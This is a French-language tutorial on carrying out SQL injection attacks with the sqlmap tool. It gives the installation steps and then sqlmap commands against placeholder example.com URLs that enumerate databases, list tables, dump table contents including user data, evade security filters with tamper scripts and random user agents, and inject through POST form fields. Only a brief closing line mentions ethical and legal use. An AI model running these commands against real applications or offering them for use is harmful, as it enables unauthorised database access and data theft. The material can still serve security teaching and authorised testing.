Introduction

Ce tutoriel explique comment effectuer une attaque par injection SQL pour exploiter des vulnérabilités dans les applications web. L'injection SQL est une technique qui permet d'exécuter des commandes SQL malveillantes sur une base de données via une application web. Nous utiliserons l'outil sqlmap pour automatiser ce processus.

Étape 1: Comprendre les Injections SQL

Les injections SQL exploitent les failles de sécurité dans les applications web pour exécuter des commandes SQL non prévues. Cela peut permettre aux attaquants de lire, modifier ou supprimer des données dans une base de données. Les failles se trouvent souvent dans les champs de saisie d'un formulaire, les paramètres d'URL, ou les cookies.

Étape 2: Installation de sqlmap

Mettez à jour votre système et installez sqlmap :

sudo apt-get update && sudo apt-get upgrade
sudo apt-get install sqlmap

Étape 3: Identification des Vulnérabilités

Utilisez sqlmap pour détecter les vulnérabilités SQL sur une URL cible :

sqlmap -u "http://example.com/vuln_page.php?id=1" --dbs

Cette commande teste la vulnérabilité SQL et affiche les bases de données disponibles si une faille est trouvée.

Étape 4: Exploitation des Vulnérabilités

Une fois une vulnérabilité détectée, utilisez sqlmap pour l'exploiter. Par exemple, pour lister les tables d'une base de données spécifique :

sqlmap -u "http://example.com/vuln_page.php?id=1" -D database_name --tables

Pour extraire les données d'une table :

sqlmap -u "http://example.com/vuln_page.php?id=1" -D database_name -T table_name --dump

Techniques Avancées d'Injection SQL

Pour contourner les filtres de sécurité, vous pouvez utiliser des tamper scripts et des options avancées de sqlmap :

sqlmap -u "http://example.com/vuln_page.php?id=1" --random-agent --tamper="space2comment"

Cela utilise un agent utilisateur aléatoire et un script de tamper pour échapper aux filtres de sécurité.

Exemples Pratiques

Voici trois exemples pratiques pour illustrer l'utilisation de sqlmap dans des scénarios d'injection SQL :

Exemple 1: Extraction de Données d'Utilisateur

Utilisez sqlmap pour extraire les informations d'utilisateur d'une application web vulnérable :

sqlmap -u "http://example.com/login.php?user=1" --dbs

Exemple 2: Contournement de Filtre de Sécurité

Utilisez des tamper scripts pour contourner les filtres de sécurité :

sqlmap -u "http://example.com/search.php?q=1" --tamper="charencode,space2comment"

Exemple 3: Injection SQL dans des Champs de Formulaire

Utilisez sqlmap pour injecter des commandes SQL dans des champs de formulaire :

sqlmap -u "http://example.com/contact.php" --data="name=1&email=test@example.com" --dbs

Conclusion

Ce tutoriel vous a montré comment effectuer une attaque par injection SQL en utilisant sqlmap. Rappelez-vous, ces informations doivent être utilisées de manière éthique et légale. L'objectif est de sensibiliser aux dangers des injections SQL et de renforcer la sécurité des applications web.